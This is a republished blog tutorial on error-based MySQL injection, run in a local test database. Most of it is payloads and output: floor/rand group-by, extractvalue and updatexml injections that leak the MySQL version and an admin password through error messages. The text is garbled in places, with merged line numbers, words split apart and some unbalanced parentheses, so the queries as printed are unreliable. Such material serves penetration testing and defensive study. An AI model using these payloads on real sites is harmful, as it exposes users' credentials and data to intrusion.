Three Error Methods During Mysql Injection

Put the original notes, Mysql will throw exception information when executing the statement, and php + mysql architecture websites often display the error code on the page, in this way, you can obtain specific data by constructing the following three methods. Actual test environment: 1 mysql> show tables; 2 + ---------------- + 3 | Tables_in_test | 4 + ---------------- + 5 | admin | 6 | article | 7 + -------------- + 1 mysql> describe admin; 2 + ------- + ------------------ + ------ + ----- + --------- + ---------------- + 3 | Field | Type | Null | Key | Default | Extra | 4 + ------- + ------------------ + ------ + ----- + --------- + ---------------- + 5 | id | int (10) unsigned | NO | PRI | NULL | auto_inc Rement | 6 | user | varchar (50) | NO | NULL | 7 | pass | varchar (50) | NO | NULL | 8 + ------- + ------------------ + ------ + ----- + --------- + ---------------- + 1 mysql> describe article; 2 + --------- + ------------------ + ------ + ----- + --------- + ---------------- + 3 | Field | Type | Null | Key | Default | Extra | 4 + --------- + ------------------ + ------ + ----- + --------- + ---------------- + 5 | id | int (10) unsign Ed | NO | PRI | NULL | auto_increment | 6 | title | varchar (50) | NO | NULL | 7 | content | varchar (50) | NO | NULL | 8 + --------- + ------------------ + ------ + ----- + --------- + ---------------- + 1. If an error is reported through floor, use the following code 1 and select 1 from (select count (*), concat (version (), floor (rand (0) * 2) x2 from information_schema.tables group by x) a); 1 and (select count (*) from (select 1 union select null union Select! 1) x2 group by concat (select table_name from information_schema.tables limit 1), 3 floor (rand (0) * 2); example: perform a normal query first: 1 mysql> select * from article where id = 1; 2 + ---- + ------- + --------- + 3 | id | title | content | 4 + ---- + ------- + --------- + 5 | 1 | test | do it | 6 + ---- + ------- + --------- + If the id input is injected, you can use the following statement to report an error. 1 mysql> select * from article where id = 1 and (select 1 from2 (select count (*), concat (version (), floor (rand (0) * 2 )) x from information_schema.tables group by x) a); 3 ERROR 1062 (23000): Duplicate entry '5. 1.33-community-log1 'for key'group _ key' you can see that the Mysql version was successful, if you need to query other data, you can modify the version () Location statement to query. For example, we need to query the administrator username and password: Method1: 1 mysql> select * from article where id = 1 and (select 1 from2 (select count (*), concat (select pass from admin where id = 1), floor (rand (0) * 2) x3 from information_schema.tables group by x) a); 4 ERROR 1062 (23000 ): duplicate entry 'admin8881 'for key' group _ key' Method2: 1 mysql> select * from article where id = 1 and (select count (*) 2 from (select 1 union select null union s Elect! 1) x group by concat (select pass from admin limit 1), 3 floor (rand (0) * 2); 4 ERROR 1062 (23000 ): duplicate entry 'admin8881 'for key'group _ key' 2. The ExtractValue test statement is as follows: 1 and extractvalue (1, concat (0x5c, (select table_name from information_schema.tables limit 1 ))); actual testing process 1 mysql> select * from article where id = 1 and extractvalue (1, concat (0x5c, 2 (select pass from admin limit 1 ))); -- 3 ERROR 1105 (HY000): XPATH syntax error: '\ admin888' 3. UpdateXml test Statement 1 and 1 = (updatexml (1, concat (0x5e24, (select user (), 0x5e24), 1) actual test procedure: www.2cto.com 1 mysql> select * from article where id = 1 and 1 = (updatexml (1, concat (0x5e24, 2 (select pass from admin limit 1), 0x5e24), 1); 3 ERROR 1105 (HY000): XPATH syntax error: '^ $ admin888 ^ $' All, thanks foreign guys. link: http://blog.ourren.com/2012/11/03/pentest_method_of_mysql_error.html